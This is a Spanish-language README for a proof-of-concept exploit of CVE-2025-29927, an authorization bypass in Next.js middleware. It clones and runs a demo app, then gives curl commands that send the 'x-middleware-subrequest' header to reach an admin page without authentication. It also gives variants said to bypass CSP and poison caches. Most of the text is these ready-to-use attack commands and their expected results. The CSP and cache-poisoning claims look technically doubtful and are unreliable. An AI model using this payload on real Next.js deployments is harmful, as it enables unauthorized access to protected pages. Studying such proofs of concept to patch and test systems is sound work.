
CVE-2025-29927 Prueba de concepto
Este PoC demuestra CVE-2025-29927, una vulnerabilidad en el middleware de Next.js que permite a los atacantes eludir los mecanismos de autenticación, autorización y CSP mediante el encabezado x-middleware-subrequest.
Versiones de Next.js 11.1.4 a 15.1.7
1️⃣ Clona e instala el PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
La aplicación se iniciará en http://localhost:3000
1- Usa la cabecera x-middleware-subrequest para obtener acceso no autorizado:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Resultado esperado: La respuesta devuelve admin admin, aunque la autenticación fue eludida.

Si la CSP se aplica mediante el middleware, omítela:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Resultado esperado: Se ignora la CSP, lo que permite la ejecución de scripts maliciosos.
Explota el envenenamiento de caché forzando una respuesta malformada:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Resultado esperado: La página se almacena en caché con contenido incorrecto, lo que afecta a los usuarios normales.
🔍 Descubierto por: Allam Rachid (zhero;) y Allam Yasser (inzo_)